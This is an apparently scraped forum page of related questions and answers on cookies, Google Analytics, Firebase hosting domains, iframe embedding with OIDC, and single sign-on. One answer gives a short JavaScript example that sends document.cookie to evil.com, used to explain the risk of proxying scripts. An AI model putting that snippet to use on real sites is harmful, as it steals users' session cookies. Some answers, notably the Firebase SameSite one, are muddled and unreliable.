In this article Google want me to set the cookieDomain to my domain name.
But I am using my domain name on other cookies that hold single sign on security tokens.
So do my domain cookies go to Google Analytics?
I think that would open a BIG security hole.
Can't put single sign on security tokens in browser storage as XSS attackers can get to them.
So how can I stop Google Analytics from getting my domain cookies and therefore my security tokens?
I don't want to increase my attack surface!
your domain cookies are exposed trough document.cookie interface and so are available to any script that is executed in a page context. So not only analytics but literally any 3-rd party script implemented on your pages has an access to your domain cookies.
Related
I just set up my custom domain with Firebase Hosting, lets call it mydomain.example.com.
When I navigate to it in Firefox, it shows a toggle next to the domain, that when clicked shows this:
Where the redacted part is my firebase project ID, and the full domain is one of the default domains for Firebase hosting.
What is happening here, exactly, and how can I change the behavior so it doesn't result in these cross-site cookies? Is this related to the Google Auth provider, which I also noticed doesn't use the new custom domain (instead, using one of the default domains) in the popup window for sign-in?
This is a known issue with the Firebase Auth SDK. It is not related to the Google Auth provider. The issue is that the Firebase Auth SDK uses a cookie to store the user's session. The cookie is set to the domain of the Firebase project, which is a default domain for Firebase Hosting. The cookie is set to be secure, so it is not sent over HTTP, but is sent over HTTPS. The cookie is also set to be SameSite=Lax, which means that it is not sent on cross-site requests unless the request is a GET request. The cookie is not sent on cross-site requests that are POST requests, which is the case for the sign-in popup. The cookie is sent on cross-site requests that are GET requests, which is the case for the main page.
To solve this issue, you can set the cookie policy to SameSite=None. This will allow the cookie to be sent on cross-site requests, but it will also require the cookie to be marked as secure. This means that the cookie will only be sent over HTTPS. If you are using a custom domain, you will need to set up HTTPS for your custom domain. If you are using a default domain, you will need to set up HTTPS for your default domain.
We have a requirement to load an internally hosted angular UI from within an external partners secured website. We're using an OIDC auth flow calling to an internal IDP server to retrieve/validate the user tokens.
The problem is we are not able to make custom modifications to the internal IDP server's rules in order to allow the external partners domain as being valid for calling to from within an iframe (Content Security Policy).
This causes us to get an error related to invalid Content Security Policy as the external partners domain is not within the allowed domains list of the CSP. If we serve this UI in an iframe from within an internal company domain (allowed in the CSP) it works just fine.
Assuming we have to load our internal UI from within the partners website inline (iframe or other), and authenticate our users using an oauth pattern are there any viable solutions for this problem?
I understand the CSP and x-frame-option headers are set this way to avoid click-jacking security risks, so not sure what is being asked of us is possible while remaining secure. Initial thought is to possibly put a proxy service between the partners website and our UI and the proxy service will handle the authentication...bypassing the CSP rules...but does not necessarily seem secure, and not sure how to implement that even if so. Any thoughts or ideas would be welcomed. Thanks!
Proxying third-party scripts is a bad idea. Consider the script:
var Img = document.createElement("img");
Img.setAttribute('src', 'http://evil.com?cookie=' + document.cookie);
document.body.appendChild(Img);
Loaded from someone else's domain, the script will not have access to the document.cookie. But after proxying, the browser counts that the script is loaded from your domain, and will send cookies to the evil.com site.
Allowing your site to be embedded into iframe open doors to:
clickjacking: by placing an invisible frame, it allows you to perform actions on behalf of a visitor if he is logged at third-party site.
Phishing: in the case of an iframe, the user does not see the real URL in the address bar. Therefore, an attacker can load an iframe from his domain that looks like a third-party authorization site. Since visitor is not able to see this, he enter login/password at the attackers site.
third-party scripts access to some sensitive user's data such as: geolocation, camera, microphone, speaker, mobile device sensors (accelerometer, gyroscope, ambient-light-sensor, magnetometer, vibrate) etc. See Feature Policy / Permissions Policy how to restrict these.
For using your IDP server for autentificating user on third-party site, you MUST do redirect to your domain, autentificate user on your domainm and redirect user back to the third-party site. To keep auth a JWT token can be used or third-party site can set its own auth cookie. The referrer is used to return back to the partner's page where auth was started. Google's OAuth2 service works in this way.
It is not known what private/financial data your web application is dealing with, but it is unlikely that you want to be responsible for the actions of third parties by making a hole in the security system for them.
We maintain a site that uses http authentication to identify registered users, rather than a cookie, and allow them access to a secure portion of our site. Is there a way to track the user data (username and where they go) within Google Analytics once they login to our site? We can't seem to figure this out...
Thanks!
The information for http auth is passed via the Authorization header which you can access in a serverside language of your choice. That will give you a username.
AFAIK there is no way to retrieve http headers in a clientside language during the initial page request.
Also keep in mind that storing personally identifiable data in Google Analytics violates the terms of service.
As to "where they go", if you want to look at individual users their way through your site can be followed in the User Explorer Report. All other reports give you aggregated data only.
How do browsers share credentials belonging to one domain with other? As I asked in question, if I log into one service, I'm automatically logged into other service? What authentication scheme is this and how are credentials shared?
The answer is that they use OAuth or something like it. You can read about it at https://en.wikipedia.org/wiki/OAuth or just google for OAuth. Only one site receives your username and password. The others are granted permissions by that site.
By using API's.
For example: When you going to Youtube and you want to log in, then Youtube uses Googles API's to check if there is an account that equals with your details.
And in case of logging in automatically, just the same way, but then with a session or cookie I think.
They use cookies to save your (encrypted) information.
Cookies stored on your browser are readable by any website*, so in theory any website that knows how Google's authentication scheme works is able to "log you in" on a Google account.
Also, in theory, any person who "steals" your cookies and use it on their computer would be able to log in as you. However there are certainly security measures taken into consideration from Google before allowing you to authenticate using only a cookie (using IP and other request information to make sure that cookie belongs to you, etc)
As a proof of concept, if you delete all cookies on your browser created by google.com you will find out that you are logged out of Google's websites. And when you log back in, the cookies will be recreated.
Errata:
*Cookies can be read by websites under the same domain.
"Authentication requests to Firebase Simple Login are only permitted from domains you specify." and the two default domains are "localhost" and "127.0.0.1".
Let's say that my server's IP is "267.156.423.22". How do I setup my security rules so that that the two first domains can read specific data, but only the server can write it?
For example, if a client purchases a product, this fact and associated data needs to be noted on the client's account in the Firebase. For obvious security reasons this information must be 'writeable' by the server only.
The authorized domains configuration for Firebase Simple Login applies solely to OAuth-based authentication providers (Facebook, Twitter, and GitHub), and restricts requests to those origins in the browser.
That means if you're using one of those OAuth-based authentication providers, you'd want to enter in any origins which your end users will use to access the page (i.e. if your user accesses the page via subdomain.example.com, that'd the be origin to enter).
Keep in mind that Firebase Simple Login is built on top of that standard, one-size-fits-all custom login / token generation in Firebase. It is an abstraction layer intended to make it easy to generate Firebase Auth. Tokens, a secure way of sharing data between you and Firebase.
Once a token has been generated (via Simple or Custom login), you can begin using that token's payload in your security rules (via the auth variable). If you'd want your server to bypass security rules, simple generate a token with the admin privilege, or your Firebase secret. See https://www.firebase.com/docs/security/security-rules.html for more details.